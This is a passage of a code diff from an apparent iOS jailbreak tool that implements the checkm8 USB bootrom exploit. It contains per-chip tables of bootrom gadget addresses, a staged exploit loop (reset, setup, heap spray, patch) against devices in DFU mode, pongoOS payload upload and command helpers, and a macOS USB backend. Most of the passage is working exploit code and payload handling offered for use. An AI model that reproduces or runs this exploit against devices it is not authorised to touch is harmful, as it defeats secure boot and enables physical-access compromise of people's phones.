config->patch_addr = 0x10000624C;
|
||||
config->ttbr0_addr = 0x18000C000;
|
||||
config->func_gadget = 0x10000A9AC;
|
||||
config->write_ttbr0 = 0x10000045C;
|
||||
config->memcpy_addr = 0x10000E9D0;
|
||||
config->aes_crypto_cmd = 0x100009E9C;
|
||||
config->boot_tramp_end = 0x18001C000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180003A78;
|
||||
config->dfu_handle_request = 0x180008638;
|
||||
config->usb_core_do_transfer = 0x10000B9A8;
|
||||
config->dfu_handle_bus_reset = 0x180008668;
|
||||
config->insecure_memory_base = 0x18001C000;
|
||||
config->handle_interface_request = 0x10000BCCC;
|
||||
config->usb_create_string_descriptor = 0x10000AE80;
|
||||
config->usb_serial_number_string_descriptor = 0x1800008FA;
|
||||
break;
|
||||
case 0x8012:
|
||||
config->tlbi = 0x100000494;
|
||||
config->nop_gadget = 0x100008DB8;
|
||||
config->ret_gadget = 0x10000012C;
|
||||
config->patch_addr = 0x100004854;
|
||||
config->ttbr0_addr = 0x18000C000;
|
||||
config->func_gadget = 0x100008DA0;
|
||||
config->write_ttbr0 = 0x100000444;
|
||||
config->memcpy_addr = 0x10000EA30;
|
||||
config->aes_crypto_cmd = 0x1000082AC;
|
||||
config->boot_tramp_end = 0x18001C000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180003AF8;
|
||||
config->dfu_handle_request = 0x180008B08;
|
||||
config->usb_core_do_transfer = 0x10000BD20;
|
||||
config->dfu_handle_bus_reset = 0x180008B38;
|
||||
config->insecure_memory_base = 0x18001C000;
|
||||
config->handle_interface_request = 0x10000BFFC;
|
||||
config->usb_create_string_descriptor = 0x10000B1CC;
|
||||
config->usb_serial_number_string_descriptor = 0x18000082A;
|
||||
break;
|
||||
case 0x8011:
|
||||
config->tlbi = 0x100000444;
|
||||
config->nop_gadget = 0x10000CD0C;
|
||||
config->ret_gadget = 0x100000148;
|
||||
config->patch_addr = 0x100007630;
|
||||
config->ttbr0_addr = 0x1800A0000;
|
||||
config->func_gadget = 0x10000CCEC;
|
||||
config->write_ttbr0 = 0x1000003F4;
|
||||
config->memcpy_addr = 0x100010950;
|
||||
config->aes_crypto_cmd = 0x10000C994;
|
||||
config->boot_tramp_end = 0x1800B0000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180083D28;
|
||||
config->dfu_handle_request = 0x180088A58;
|
||||
config->usb_core_do_transfer = 0x10000DD64;
|
||||
config->dfu_handle_bus_reset = 0x180088A88;
|
||||
config->insecure_memory_base = 0x1800B0000;
|
||||
config->handle_interface_request = 0x10000E08C;
|
||||
config->usb_create_string_descriptor = 0x10000D234;
|
||||
config->usb_serial_number_string_descriptor = 0x18008062A;
|
||||
break;
|
||||
case 0x8010:
|
||||
config->tlbi = 0x100000434;
|
||||
config->nop_gadget = 0x10000CC6C;
|
||||
config->ret_gadget = 0x10000015C;
|
||||
config->patch_addr = 0x1000074AC;
|
||||
config->ttbr0_addr = 0x1800A0000;
|
||||
config->func_gadget = 0x10000CC4C;
|
||||
config->write_ttbr0 = 0x1000003E4;
|
||||
config->memcpy_addr = 0x100010730;
|
||||
config->aes_crypto_cmd = 0x10000C8F4;
|
||||
config->boot_tramp_end = 0x1800B0000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180083CF8;
|
||||
config->dfu_handle_request = 0x180088B48;
|
||||
config->usb_core_do_transfer = 0x10000DC98;
|
||||
config->dfu_handle_bus_reset = 0x180088B78;
|
||||
config->insecure_memory_base = 0x1800B0000;
|
||||
config->handle_interface_request = 0x10000DFB8;
|
||||
config->usb_create_string_descriptor = 0x10000D150;
|
||||
config->usb_serial_number_string_descriptor = 0x1800805DA;
|
||||
break;
|
||||
case 0x8001:
|
||||
config->tlbi = 0x100000404;
|
||||
config->nop_gadget = 0x10000CD60;
|
||||
config->ret_gadget = 0x100000118;
|
||||
config->patch_addr = 0x100007668;
|
||||
config->ttbr0_addr = 0x180050000;
|
||||
config->func_gadget = 0x10000CD40;
|
||||
config->write_ttbr0 = 0x1000003B4;
|
||||
config->memcpy_addr = 0x1000106F0;
|
||||
config->aes_crypto_cmd = 0x10000C9D4;
|
||||
config->boot_tramp_end = 0x180044000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180047578;
|
||||
config->dfu_handle_request = 0x18004C378;
|
||||
config->usb_core_do_transfer = 0x10000DDA4;
|
||||
config->dfu_handle_bus_reset = 0x18004C3A8;
|
||||
config->insecure_memory_base = 0x180000000;
|
||||
config->handle_interface_request = 0x10000E0B4;
|
||||
config->usb_create_string_descriptor = 0x10000D280;
|
||||
config->usb_serial_number_string_descriptor = 0x18004486A;
|
||||
break;
|
||||
case 0x8003:
|
||||
case 0x8000:
|
||||
config->patch_addr = 0x10000812C;
|
||||
config->ttbr0_addr = 0x1800C8000;
|
||||
config->memcpy_addr = 0x100011030;
|
||||
config->aes_crypto_cmd = 0x10000DAA0;
|
||||
config->boot_tramp_end = 0x1800E1000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180087958;
|
||||
config->dfu_handle_request = 0x1800878F8;
|
||||
config->usb_core_do_transfer = 0x10000EE78;
|
||||
config->dfu_handle_bus_reset = 0x180087928;
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->handle_interface_request = 0x10000F1B0;
|
||||
config->usb_create_string_descriptor = 0x10000E354;
|
||||
config->usb_serial_number_string_descriptor = 0x1800807DA;
|
||||
break;
|
||||
case 0x7001:
|
||||
config->patch_addr = 0x10000AD04;
|
||||
config->memcpy_addr = 0x100013F10;
|
||||
config->aes_crypto_cmd = 0x100010A90;
|
||||
config->boot_tramp_end = 0x1800E1000;
|
||||
config->gUSBSerialNumber = 0x180088E48;
|
||||
config->dfu_handle_request = 0x180088DF8;
|
||||
config->usb_core_do_transfer = 0x100011BB4;
|
||||
config->dfu_handle_bus_reset = 0x180088E18;
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->handle_interface_request = 0x100011EE4;
|
||||
config->usb_create_string_descriptor = 0x100011074;
|
||||
config->usb_serial_number_string_descriptor = 0x180080C2A;
|
||||
break;
|
||||
case 0x7000:
|
||||
config->patch_addr = 0x100007E98;
|
||||
config->memcpy_addr = 0x100010E70;
|
||||
config->aes_crypto_cmd = 0x10000DA90;
|
||||
config->boot_tramp_end = 0x1800E1000;
|
||||
config->gUSBSerialNumber = 0x1800888C8;
|
||||
config->dfu_handle_request = 0x180088878;
|
||||
config->usb_core_do_transfer = 0x10000EBB4;
|
||||
config->dfu_handle_bus_reset = 0x180088898;
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->handle_interface_request = 0x10000EEE4;
|
||||
config->usb_create_string_descriptor = 0x10000E074;
|
||||
config->usb_serial_number_string_descriptor = 0x18008062A;
|
||||
break;
|
||||
default:
|
||||
LOG("CPID 0x%x is not supported!", cpid);
|
||||
foundMatchingConfiguration = false;
|
||||
}
|
||||
return foundMatchingConfiguration;
|
||||
}
|
||||
|
||||
void create_pongo_payload_for_device(
|
||||
uint16_t cpid,
|
||||
uint8_t **payload,
|
||||
size_t *payloadSize)
|
||||
{
|
||||
LOG("Preparing YoloDFU payload for CPID 0x%x.", cpid);
|
||||
|
||||
*payload = NULL;
|
||||
*payloadSize = 0;
|
||||
|
||||
switch (cpid) {
|
||||
case 0x8015:
|
||||
*payloadSize = payloads_yolo_t8015_bin_len;
|
||||
*payload = payloads_yolo_t8015_bin;
|
||||
break;
|
||||
case 0x8011:
|
||||
*payloadSize = payloads_yolo_t8011_bin_len;
|
||||
*payload = payloads_yolo_t8011_bin;
|
||||
break;
|
||||
case 0x8010:
|
||||
*payloadSize = payloads_yolo_t8010_bin_len;
|
||||
*payload = payloads_yolo_t8010_bin;
|
||||
break;
|
||||
case 0x8003:
|
||||
*payloadSize = payloads_yolo_s8003_bin_len;
|
||||
*payload = payloads_yolo_s8003_bin;
|
||||
break;
|
||||
case 0x8001:
|
||||
*payloadSize = payloads_yolo_s8001_bin_len;
|
||||
*payload = payloads_yolo_s8001_bin;
|
||||
break;
|
||||
case 0x8000:
|
||||
*payloadSize = payloads_yolo_s8000_bin_len;
|
||||
*payload = payloads_yolo_s8000_bin;
|
||||
break;
|
||||
case 0x7001:
|
||||
*payloadSize = payloads_yolo_t7001_bin_len;
|
||||
*payload = payloads_yolo_t7001_bin;
|
||||
break;
|
||||
case 0x7000:
|
||||
*payloadSize = payloads_yolo_t7000_bin_len;
|
||||
*payload = payloads_yolo_t7000_bin;
|
||||
break;
|
||||
default:
|
||||
LOG("Failed to prepare payload for device with CPID 0x%x.", cpid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -35,6 +35,7 @@ struct PayloadConfiguration {
|
||||
handle_interface_request,
|
||||
usb_create_string_descriptor,
|
||||
usb_serial_number_string_descriptor;
|
||||
uint32_t payload_dest_armv7;
|
||||
};
|
||||
|
||||
bool checkm8_find_device_configuration_for_cpid(int cpid, struct DeviceConfiguration *config);
|
||||
+167
@@ -0,0 +1,167 @@
|
||||
#include "run.h"
|
||||
|
||||
#include <stdatomic.h>
|
||||
#include <stdbool.h>
|
||||
#include <pthread.h>
|
||||
#include <inttypes.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "../utils.h"
|
||||
#include "../usb/usb_shim.h"
|
||||
#include "../pongo/pongo_helper.h"
|
||||
|
||||
#include "checkm8.h"
|
||||
#include "dfu.h"
|
||||
#include "payload.h"
|
||||
|
||||
typedef struct {
|
||||
atomic_bool stop;
|
||||
atomic_int result;
|
||||
} shared_t;
|
||||
|
||||
static void *exploit_thread(void *arg)
|
||||
{
|
||||
shared_t *s = (shared_t *)arg;
|
||||
|
||||
usb_handle_t handle;
|
||||
struct DeviceConfiguration deviceConfig;
|
||||
struct PayloadConfiguration payloadConfig;
|
||||
|
||||
int stage = STAGE_PREPARE;
|
||||
bool ret = false;
|
||||
|
||||
init_usb_handle(&handle, 0x5AC, 0x1227);
|
||||
|
||||
while (stage != STAGE_DONE && !atomic_load(&s->stop)) {
|
||||
if (!wait_usb_handle(&handle)) {
|
||||
atomic_store(&s->result, -1);
|
||||
atomic_store(&s->stop, true);
|
||||
break;
|
||||
}
|
||||
|
||||
switch (stage) {
|
||||
case STAGE_PREPARE: {
|
||||
char *sn = get_usb_serial_number(&handle);
|
||||
if (!sn) goto fail;
|
||||
|
||||
if (!checkm8_find_device_configuration_for_cpid(
|
||||
dfu_serial_number_get_cpid(sn), &deviceConfig)) {
|
||||
free(sn);
|
||||
goto fail;
|
||||
}
|
||||
|
||||
if (!checkm8_find_payload_configuration_for_cpid(
|
||||
dfu_serial_number_get_cpid(sn), &payloadConfig)) {
|
||||
free(sn);
|
||||
goto fail;
|
||||
}
|
||||
|
||||
if (!dfu_serial_number_is_in_dfu_mode(sn)) {
|
||||
free(sn);
|
||||
goto fail;
|
||||
}
|
||||
|
||||
free(sn);
|
||||
stage = STAGE_RESET;
|
||||
break;
|
||||
}
|
||||
case STAGE_RESET:
|
||||
ret = checkm8_stage_reset(&handle);
|
||||
stage = ret ? STAGE_SETUP : STAGE_RESET;
|
||||
break;
|
||||
case STAGE_SETUP:
|
||||
LOG("Setting up the device for exploitation");
|
||||
ret = checkm8_stage_setup(&handle, &deviceConfig);
|
||||
stage = ret ? STAGE_SPRAY : STAGE_RESET;
|
||||
break;
|
||||
case STAGE_SPRAY:
|
||||
LOG("Spraying the device with USB requests");
|
||||
ret = checkm8_stage_spray(&handle, &deviceConfig);
|
||||
stage = ret ? STAGE_PATCH : STAGE_RESET;
|
||||
break;
|
||||
case STAGE_PATCH:
|
||||
LOG("Right before trigger (this is the real bug setup)");
|
||||
ret = checkm8_stage_patch(&handle, &deviceConfig, &payloadConfig);
|
||||
if (!ret) goto fail;
|
||||
stage = STAGE_PONGO;
|
||||
break;
|
||||
case STAGE_PONGO:
|
||||
LOG("Booting pongoOS");
|
||||
close_usb_handle(&handle);
|
||||
sleep_ms(3000);
|
||||
checkm8_boot_pongo(&handle);
|
||||
stage = STAGE_DONE;
|
||||
atomic_store(&s->result, 1);
|
||||
atomic_store(&s->stop, true);
|
||||
break;
|
||||
default:
|
||||
goto fail;
|
||||
}
|
||||
|
||||
reset_usb_handle(&handle);
|
||||
continue;
|
||||
|
||||
fail:
|
||||
atomic_store(&s->result, -1);
|
||||
atomic_store(&s->stop, true);
|
||||
break;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void *pongo_thread(void *arg)
|
||||
{
|
||||
shared_t *s = (shared_t *)arg;
|
||||
|
||||
usb_handle_t handle;
|
||||
bool seen = false;
|
||||
|
||||
init_usb_handle(&handle, 0x5AC, 0x4141);
|
||||
|
||||
while (!atomic_load(&s->stop)) {
|
||||
if (!wait_usb_handle(&handle)) {
|
||||
atomic_store(&s->result, -1);
|
||||
atomic_store(&s->stop, true);
|
||||
break;
|
||||
}
|
||||
|
||||
if (!seen) {
|
||||
LOG("Pongo device detected!");
|
||||
seen = true;
|
||||
char paleinfo[64];
|
||||
snprintf(paleinfo, sizeof(paleinfo), "palera1n_flags 0x%" PRIx64, palerain_flags);
|
||||
|
||||
issue_pongo_command(&handle, "fuse lock", NULL);
|
||||
issue_pongo_command(&handle, "sep auto", NULL);
|
||||
// issue_pongo_command(&handle, paleinfo, NULL);
|
||||
// issue_pongo_command(&handle, "bootx", NULL);
|
||||
|
||||
atomic_store(&s->result, 1);
|
||||
atomic_store(&s->stop, true);
|
||||
break;
|
||||
}
|
||||
|
||||
reset_usb_handle(&handle);
|
||||
}
|
||||
|
||||
close_usb_handle(&handle);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
bool exploit(void) {
|
||||
pthread_t t1, t2;
|
||||
|
||||
shared_t state = {
|
||||
.stop = ATOMIC_VAR_INIT(false),
|
||||
.result = ATOMIC_VAR_INIT(0)
|
||||
};
|
||||
|
||||
pthread_create(&t1, NULL, exploit_thread, &state);
|
||||
pthread_create(&t2, NULL, pongo_thread, &state);
|
||||
|
||||
pthread_join(t1, NULL);
|
||||
pthread_join(t2, NULL);
|
||||
|
||||
return atomic_load(&state.result) == 1;
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
#ifndef RUN_H
|
||||
#define RUN_H
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
enum exploit_stage {
|
||||
STAGE_PREPARE = 0,
|
||||
STAGE_RESET = 1,
|
||||
STAGE_SETUP = 2,
|
||||
STAGE_SPRAY = 3,
|
||||
STAGE_PATCH = 4,
|
||||
STAGE_PONGO = 5,
|
||||
STAGE_DONE = 6,
|
||||
};
|
||||
|
||||
bool exploit(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // RUN_H
|
||||
+5
-6
@@ -9,11 +9,10 @@
|
||||
# include <wx/wx.h>
|
||||
#endif
|
||||
|
||||
#include "checkm8/run.h"
|
||||
#include "m8/run.h"
|
||||
|
||||
#include "utils/constants.h"
|
||||
#include "utils/log.h"
|
||||
#include "utils/paleinfo.h"
|
||||
#include "utils.h"
|
||||
#include "paleinfo.h"
|
||||
|
||||
void print_credits() {
|
||||
printf(
|
||||
@@ -169,11 +168,11 @@ int main(int argc, char* argv[], char* envp[]) {
|
||||
wxEntryCleanup();
|
||||
return 0;
|
||||
} else {
|
||||
return checkm8();
|
||||
return exploit();
|
||||
}
|
||||
#else
|
||||
|
||||
return checkm8();
|
||||
return exploit();
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
File renamed without changes.
@@ -0,0 +1,126 @@
|
||||
#include "pongo_helper.h"
|
||||
|
||||
#include <string.h>
|
||||
|
||||
#include <lz4.h>
|
||||
#include <lz4hc.h>
|
||||
|
||||
#include "../usb/usb_shim.h"
|
||||
|
||||
#include "../utils.h"
|
||||
#include "../m8/dfu.h"
|
||||
#include "../gen/payloads/Pongo.h"
|
||||
#include "../gen/payloads/lz4dec.h"
|
||||
|
||||
void compress_pongo(void *out, size_t *out_len) {
|
||||
size_t len = payloads_Pongo_bin_len;
|
||||
size_t out_len_ = *out_len;
|
||||
*out_len = LZ4_compress_HC(payloads_Pongo_bin, out, len, out_len_, LZ4HC_CLEVEL_MAX);
|
||||
}
|
||||
|
||||
void checkm8_boot_pongo(usb_handle_t *handle) {
|
||||
transfer_ret_t transfer_ret;
|
||||
LOG("Booting pongoOS");
|
||||
LOG("Compressing pongoOS");
|
||||
LOG("Appending shellcode to the top of pongoOS (512 bytes)");
|
||||
void *shellcode = malloc(512);
|
||||
memcpy(shellcode, payloads_lz4dec_bin, payloads_lz4dec_bin_len);
|
||||
size_t out_len = payloads_Pongo_bin_len;
|
||||
void *out = malloc(out_len);
|
||||
compress_pongo(out, &out_len);
|
||||
LOG("Compressed pongoOS from %u to %zu bytes", payloads_Pongo_bin_len, out_len);
|
||||
void *tmp = malloc(out_len + 512);
|
||||
memcpy(tmp, shellcode, 512);
|
||||
memcpy(tmp + 512, out, out_len);
|
||||
free(out);
|
||||
out = tmp;
|
||||
out_len += 512;
|
||||
free(shellcode);
|
||||
LOG("Setting the compressed size into the shellcode");
|
||||
uint32_t* size = (uint32_t*)(out + 0x1fc);
|
||||
*size = out_len - 512;
|
||||
LOG("Reconnecting to device");
|
||||
init_usb_handle(handle, 0x5AC, 0x1227);
|
||||
LOG("Waiting for device to be ready");
|
||||
wait_usb_handle(handle);
|
||||
{
|
||||
size_t len = 0;
|
||||
size_t size;
|
||||
while(len < out_len)
|
||||
{
|
||||
retry:
|
||||
size = ((out_len - len) > 0x800) ? 0x800 : (out_len - len);
|
||||
send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, (unsigned char*)&out[len], size, &transfer_ret);
|
||||
if(transfer_ret.sz != size || transfer_ret.ret != USB_TRANSFER_OK)
|
||||
{
|
||||
LOG("retrying at len = %zu", len);
|
||||
sleep_ms(100);
|
||||
goto retry;
|
||||
}
|
||||
len += size;
|
||||
LOG("len = %zu", len);
|
||||
}
|
||||
}
|
||||
send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL);
|
||||
LOG("pongoOS sent, should be booting");
|
||||
}
|
||||
|
||||
int issue_pongo_command(usb_handle_t *handle, char *command, char *outBuffer) {
|
||||
bool ret;
|
||||
uint8_t inProgress = 1;
|
||||
uint32_t outPosition = 0;
|
||||
uint32_t outLength = 0;
|
||||
transfer_ret_t transferRet;
|
||||
char stdoutBuffer[0x2000];
|
||||
if (command == NULL) goto fetch_output;
|
||||
size_t length = strlen(command);
|
||||
char commandBuffer[0x200];
|
||||
if (length > (CMD_LENGTH_MAX - 2))
|
||||
{
|
||||
LOG("Pongo command %s too long (max %d)", command, CMD_LENGTH_MAX - 2);
|
||||
return -1;
|
||||
}
|
||||
LOG("Executing PongoOS command: '%s'", command);
|
||||
snprintf(commandBuffer, 512, "%s\n", command);
|
||||
length = strlen(commandBuffer);
|
||||
ret = send_usb_control_request_no_data(handle, 0x21, 4, 1, 0, 0, NULL);
|
||||
if (!ret)
|
||||
goto bad;
|
||||
ret = send_usb_control_request(handle, 0x21, 3, 0, 0, commandBuffer, (uint32_t)length, NULL);
|
||||
fetch_output:
|
||||
while (inProgress) {
|
||||
ret = send_usb_control_request(handle, 0xA1, 2, 0, 0, &inProgress, (uint32_t)sizeof(inProgress), NULL);
|
||||
if (ret) {
|
||||
ret = send_usb_control_request(handle, 0xA1, 1, 0, 0, stdoutBuffer + outPosition, 0x1000, &transferRet);
|
||||
outLength = transferRet.sz;
|
||||
if (transferRet.ret == USB_TRANSFER_OK) {
|
||||
outPosition += outLength;
|
||||
if (outPosition > 0x1000) {
|
||||
memmove(stdoutBuffer, stdoutBuffer + outPosition - 0x1000, 0x1000);
|
||||
outPosition = 0x1000;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (transferRet.ret != USB_TRANSFER_OK) {
|
||||
goto bad;
|
||||
}
|
||||
}
|
||||
bad:
|
||||
if (transferRet.ret != USB_TRANSFER_OK)
|
||||
{
|
||||
if (!strncmp("boot", command, 4)) {
|
||||
return 0;
|
||||
} else if (command != NULL) {
|
||||
LOG("USB transfer error: 0x%x, wLength out 0x%x.", transferRet.ret, transferRet.sz);
|
||||
return transferRet.ret;
|
||||
} else {
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (outBuffer) {
|
||||
memcpy(outBuffer, stdoutBuffer, outPosition);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
#ifndef USB_PONGO_H
|
||||
#define USB_PONGO_H
|
||||
|
||||
#include "../usb/usb_shim.h"
|
||||
|
||||
#define CMD_LENGTH_MAX 512
|
||||
|
||||
void compress_pongo(void *out, size_t *out_len);
|
||||
void checkm8_boot_pongo(usb_handle_t *handle);
|
||||
int issue_pongo_command(usb_handle_t *handle, char *command, char *outBuffer);
|
||||
|
||||
#endif // USB_PONGO_H
|
||||
@@ -0,0 +1,168 @@
|
||||
#ifdef __APPLE__
|
||||
|
||||
#include "usb_iokit.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#include <CommonCrypto/CommonCrypto.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <IOKit/IOCFPlugIn.h>
|
||||
#include <IOKit/usb/IOUSBLib.h>
|
||||
|
||||
#include "../utils.h"
|
||||
|
||||
static void cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) {
|
||||
CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val);
|
||||
|
||||
if(cf_val != NULL) {
|
||||
CFDictionarySetValue(dict, key, cf_val);
|
||||
CFRelease(cf_val);
|
||||
}
|
||||
}
|
||||
|
||||
bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) {
|
||||
IOCFPlugInInterface **plugin_interface;
|
||||
bool ret = false;
|
||||
SInt32 score;
|
||||
|
||||
if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) {
|
||||
ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess;
|
||||
IODestroyPlugInInterface(plugin_interface);
|
||||
}
|
||||
IOObjectRelease(serv);
|
||||
return ret;
|
||||
}
|
||||
|
||||
void close_usb_device(usb_handle_t *handle) {
|
||||
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
|
||||
CFRelease(handle->async_event_source);
|
||||
(*handle->device)->USBDeviceClose(handle->device);
|
||||
(*handle->device)->Release(handle->device);
|
||||
}
|
||||
|
||||
void close_usb_handle(usb_handle_t *handle) {
|
||||
close_usb_device(handle);
|
||||
}
|
||||
|
||||
bool open_usb_device(io_service_t serv, usb_handle_t *handle) {
|
||||
bool ret = false;
|
||||
|
||||
if(query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) {
|
||||
if((*handle->device)->USBDeviceOpen(handle->device) == kIOReturnSuccess) {
|
||||
if((*handle->device)->SetConfiguration(handle->device, 1) == kIOReturnSuccess && (*handle->device)->CreateDeviceAsyncEventSource(handle->device, &handle->async_event_source) == kIOReturnSuccess) {
|
||||
CFRunLoopAddSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
|
||||
ret = true;
|
||||
} else {
|
||||
(*handle->device)->USBDeviceClose(handle->device);
|
||||
}
|
||||
}
|
||||
if(!ret) {
|
||||
(*handle->device)->Release(handle->device);
|
||||
}
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
bool wait_usb_handle(usb_handle_t *handle) {
|
||||
CFMutableDictionaryRef matching_dict;
|
||||
io_iterator_t iter;
|
||||
io_service_t serv;
|
||||
bool ret = false;
|
||||
|
||||
while((matching_dict = IOServiceMatching(kUSBDeviceClassName)) != NULL) {
|
||||
cf_dictionary_set_int16(matching_dict, CFSTR(kUSBVendorID), handle->vid);
|
||||
cf_dictionary_set_int16(matching_dict, CFSTR(kUSBProductID), handle->pid);
|
||||
if(IOServiceGetMatchingServices(0, matching_dict, &iter) == kIOReturnSuccess) {
|
||||
while((serv = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
|
||||
if(open_usb_device(serv, handle)) {
|
||||
ret = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
IOObjectRelease(iter);
|
||||
if(ret) {
|
||||
break;
|
||||
}
|
||||
sleep_ms(USB_TIMEOUT);
|
||||
}
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
void reset_usb_handle(usb_handle_t *handle) {
|
||||
(*handle->device)->ResetDevice(handle->device);
|
||||
(*handle->device)->USBDeviceReEnumerate(handle->device, 0);
|
||||
}
|
||||
|
||||
static void usb_async_cb(void *refcon, IOReturn ret, void *arg) {
|
||||
transfer_ret_t *transfer_ret = refcon;
|
||||
|
||||
if(transfer_ret != NULL) {
|
||||
memcpy(&transfer_ret->sz, &arg, sizeof(transfer_ret->sz));
|
||||
if(ret == kIOReturnSuccess) {
|
||||
transfer_ret->ret = USB_TRANSFER_OK;
|
||||
} else if(ret == kUSBPipeStalled) {
|
||||
transfer_ret->ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
transfer_ret->ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
}
|
||||
CFRunLoopStop(CFRunLoopGetCurrent());
|
||||
}
|
||||
|
||||
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) {
|
||||
IOUSBDevRequestTO req;
|
||||
IOReturn ret;
|
||||
|
||||
req.wLenDone = 0;
|
||||
req.pData = p_data;
|
||||
req.bRequest = b_request;
|
||||
req.bmRequestType = bm_request_type;
|
||||
req.wLength = OSSwapLittleToHostInt16(w_len);
|
||||
req.wValue = OSSwapLittleToHostInt16(w_value);
|
||||
req.wIndex = OSSwapLittleToHostInt16(w_index);
|
||||
req.completionTimeout = req.noDataTimeout = USB_TIMEOUT;
|
||||
ret = (*handle->device)->DeviceRequestTO(handle->device, &req);
|
||||
if(transfer_ret != NULL) {
|
||||
if(ret == kIOReturnSuccess) {
|
||||
transfer_ret->sz = req.wLenDone;
|
||||
transfer_ret->ret = USB_TRANSFER_OK;
|
||||
} else if(ret == kUSBPipeStalled) {
|
||||
transfer_ret->ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
transfer_ret->ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) {
|
||||
IOUSBDevRequestTO req;
|
||||
|
||||
req.wLenDone = 0;
|
||||
req.pData = p_data;
|
||||
req.bRequest = b_request;
|
||||
req.bmRequestType = bm_request_type;
|
||||
req.wLength = OSSwapLittleToHostInt16(w_len);
|
||||
req.wValue = OSSwapLittleToHostInt16(w_value);
|
||||
req.wIndex = OSSwapLittleToHostInt16(w_index);
|
||||
req.completionTimeout = req.noDataTimeout = USB_TIMEOUT;
|
||||
|
||||
if((*handle->device)->DeviceRequestAsyncTO(handle->device, &req, usb_async_cb, transfer_ret) == kIOReturnSuccess) {
|
||||
sleep_ms(usb_abort_timeout);
|
||||
if((*handle->device)->USBDeviceAbortPipeZero(handle->device) == kIOReturnSuccess) {
|
||||
CFRunLoopRun();
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
|
||||
handle->vid = vid;
|
||||
handle->pid = pid;
|
||||
handle->device = NULL;
|
||||
}
|
||||
|
||||
#endif // __APPLE__
|
||||
@@ -0,0 +1,59 @@
|
||||
#ifdef __APPLE__
|
||||
|
||||
#ifndef IOKIT_BACKEND_H
|
||||
#define IOKIT_BACKEND_H
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#include <IOKit/IOCFPlugIn.h>
|
||||
#include <IOKit/usb/IOUSBLib.h>
|
||||
|
||||
#define USB_TIMEOUT (5)
|
||||
|
||||
#ifdef __APPLE__
|
||||
# if TARGET_OS_IPHONE
|
||||
# define kUSBPipeStalled kUSBHostReturnPipeStalled
|
||||
# else
|
||||
# define kUSBPipeStalled kIOUSBPipeStalled
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#ifdef __APPLE__
|
||||
# if TARGET_OS_IPHONE
|
||||
# define kUSBDeviceClassName "IOUSBHostDevice"
|
||||
# else
|
||||
# define kUSBDeviceClassName kIOUSBDeviceClassName
|
||||
# endif
|
||||
#endif
|
||||
|
||||
enum usb_transfer {
|
||||
USB_TRANSFER_OK,
|
||||
USB_TRANSFER_ERROR,
|
||||
USB_TRANSFER_STALL
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
